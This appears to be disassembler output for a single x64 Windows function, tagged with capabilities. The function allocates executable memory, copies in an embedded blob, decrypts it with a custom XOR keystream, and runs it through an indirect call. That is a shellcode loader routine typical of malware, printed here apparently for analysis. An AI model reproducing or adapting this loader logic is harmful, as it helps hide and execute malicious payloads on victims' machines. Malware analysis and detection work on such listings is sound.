Function at 0x14001650b
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x158
mov r13, r8
mov r14, rdx
mov r15, rcx
mov eax, dword [rdx + 8]
test eax, 0x60000000
je 0x1400165a1
mov edx, dword [r14]
xor ebx, ebx
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call sub.KERNEL32.dll_VirtualAlloc
mov r12, rax
mov edi, dword [r14]
test rdi, rdi
je 0x14001662d
movsxd rcx, dword [r14 + 4]
add rcx, r15
lea rbp, [rdi - 1]
mov rdx, rdi
and rdx, 7
je 0x1400165d0
xor ebx, ebx
nop word cs:[rax + rax]
nop dword [rax]
movzx eax, byte [rcx + rbx]
mov byte [r12 + rbx], al
add rbx, 1
cmp rdx, rbx
jne 0x14001657b
sub rdi, rbx
lea rdx, [r12 + rbx]
add rcx, rbx
cmp rbp, 7
jae 0x1400165d9
jmp 0x14001662a
movsxd rcx, dword [r14 + 4]
add rcx, r15
mov ebp, dword [r14 + 0xc]
add rbp, rcx
xor r12d, r12d
test eax, eax
jns 0x140016784
int3
mov rdx, r12
cmp rbp, 7
jb 0x14001662a
xor ebp, ebp
movzx eax, byte [rcx + rbp]
mov byte [rdx + rbp], al
movzx eax, byte [rcx + rbp + 1]
mov byte [rdx + rbp + 1], al
movzx eax, byte [rcx + rbp + 2]
mov byte [rdx + rbp + 2], al
movzx eax, byte [rcx + rbp + 3]
mov byte [rdx + rbp + 3], al
movzx eax, byte [rcx + rbp + 4]
mov byte [rdx + rbp + 4], al
movzx eax, byte [rcx + rbp + 5]
mov byte [rdx + rbp + 5], al
movzx eax, byte [rcx + rbp + 6]
mov byte [rdx + rbp + 6], al
movzx eax, byte [rcx + rbp + 7]
mov byte [rdx + rbp + 7], al
add rbp, 8
cmp rdi, rbp
jne 0x1400165db
mov ebx, dword [r14]
mov r8d, dword [r13 + 0xc]
mov rcx, r12
mov rdx, rbx
call fcn.1400167cb
mov ebp, dword [r12 + 4]
test rbp, rbp
je 0x14001676e
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r13
mov r14d, dword [r13 + 0xc]
lea rax, [r12 + 8]
mov qword [rsp + 0x48], rax
mov eax, dword [r12]
mov qword [rsp + 0x40], rax
add eax, 0x100
mov dword [rsp + 0x24], eax
xor r13d, r13d
lea rbx, [rsp + 0x50]
xor r15d, r15d
nop dword [rax]
mov esi, r13d
add rsi, qword [rsp + 0x48]
imul r14d, r14d, 0x18d517
xor r14d, 0x352e09df
movzx edi, r14b
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1400163eb
lea rcx, [rsp + rdi]
add rcx, 0x50
add rsi, qword [rsp + 0x40]
add rsi, rdi
mov r8d, pe_nt_image_headers64
sub r8d, edi
mov rdx, rsi
call fcn.1400163eb
mov ecx, r15d
add rcx, r12
mov r8d, pe_nt_image_headers64
mov rdx, rbx
call fcn.1400163eb
add r15d, 0x100
add r13d, dword [rsp + 0x24]
cmp r15d, ebp
jb 0x14001668b
mov r13, qword [rsp + 0x38]
mov ecx, dword [r13 + 0xc]
cmp ebp, 1
jne 0x140016715
xor eax, eax
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x28]
jmp 0x140016755
mov edx, ebp
and edx, 0xfffffffe
xor eax, eax
mov r14, qword [rsp + 0x30]
mov r15, qword [rsp + 0x28]
nop dword [rax + rax]
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r12 + rax], cl
imul ecx, ecx, 0x18d517
xor ecx, 0x352e09df
xor byte [r12 + rax + 1], cl
add rax, 2
cmp rdx, rax
jne 0x14001672b
test bpl, 1
je 0x14001676e
lea edx, [rcx + rcx*2]
shl edx, 3
sub edx, ecx
xor dl, byte [r12 + rax]
xor dl, 0xdf
mov byte [r12 + rax], dl
mov eax, dword [r14 + 8]
mov ecx, dword [r14 + 0xc]
mov rbp, r12
add rbp, rcx
test eax, eax
js 0x1400165ba
call rbp
mov ebx, eax
mov eax, 0x60000000
and eax, dword [r14 + 8]
cmp eax, 0x20000000
jne 0x1400167a8
mov rcx, r12
xor edx, edx
mov r8d, 0x8000
call sub.KERNEL32.dll_VirtualFree
mov eax, ebx
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret